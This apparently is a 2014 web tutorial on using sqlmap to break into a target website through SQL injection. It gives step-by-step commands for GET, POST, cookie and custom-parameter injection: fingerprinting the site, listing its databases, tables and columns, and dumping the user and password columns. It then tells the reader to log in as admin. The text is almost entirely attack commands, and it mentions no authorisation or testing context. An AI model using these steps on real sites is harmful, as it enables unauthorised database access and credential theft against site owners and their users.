How to use sqlmap on GET method- – fingerprinting first you must have a vulnerable website for the target, if you was have a target now open sqlmap and type this command ./sqlmap.py -u “target/index.php?id=2″ sqlmap will detect vulnerable of your target and will tell you what the type of vulnerable and what is the database type. and if your target vulnerable go to next step. – find database name type this command to find database name ./sqlmap.py -u “target/index.php?id=2″ –dbs on this step, sqlmap will find the database name of your target, for example I use “web_db” for the database name. – find tables name after sqlmap find the databse name its time to find the tables name. use this command to find the table name ./sqlmap.py -u “target/index.php?id=2″ -D web_db –tables there will show you some tables name inside “web_db” database, ok for example I use “tbl_admin” as the tables name. – find columns name its time to find what inside “tbl_admin” from “web_db” and we call it columns. to find columns type this command ./sqlmap.py -u “target/index.php?id=2″ -D web_db -T tbl_admin –columns it will show you the list of columns name, for example I find “user” and “password” columns. – dump this command will dumped data from the columns, type this command ./sqlmap.py -u “target/index.php?id=2″ -D web_db -T tbl_admin -C user,password –dump and I find “user = admin” and “password = adminpass”. now go to the web and find the admin login. how to use sqlmap on POST method its the same way with GET method, its just that you have to insert POST data to the sqlmap. for example I have vulnerable site on the “login.php” path. the POST data is “id=admin&pwd=password&submit=login”. how to find the POST data ? just use “Live HTTPheaders” its a firefox add ons. – fingerprinting its same way with GET method, just type this command ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” – find database name ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” –dbs – find tables name ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” -D web_db –tables – find columns name ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” -D web_db -T tbl_admin –columns – dump ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” -D web_db -T tbl_admin -C user,password –dump include cookie still same method but you just should insert the cookie ./sqlmap.py -u “target/index.php?id=2″ –cookie=”PHPSESSID=123asdqwe456blabla;user=admin” or ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” –cookie=”PHPSESSID=123asdqwe456blabla;user=admin” custom parameter if you have a custom parameter to inject you can type “-p” like this command ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=password&submit=login” –cookie=”PHPSESSID=123asdqwe456blabla;user=admin” -p “pwd” sqlmap will inject “pwd” parameter. or you can give star”*” to the parameter to inject, like this ./sqlmap.py -u “target/login.php” –data=”id=admin&pwd=*password&submit=login” –cookie=”PHPSESSID=123asdqwe456blabla;user=admin” cover if you a windows users, dont use “./” to run it on cmd. Go To Download Software: sqlmap.org/
Posted on: Thu, 11 Dec 2014 05:25:07 +0000
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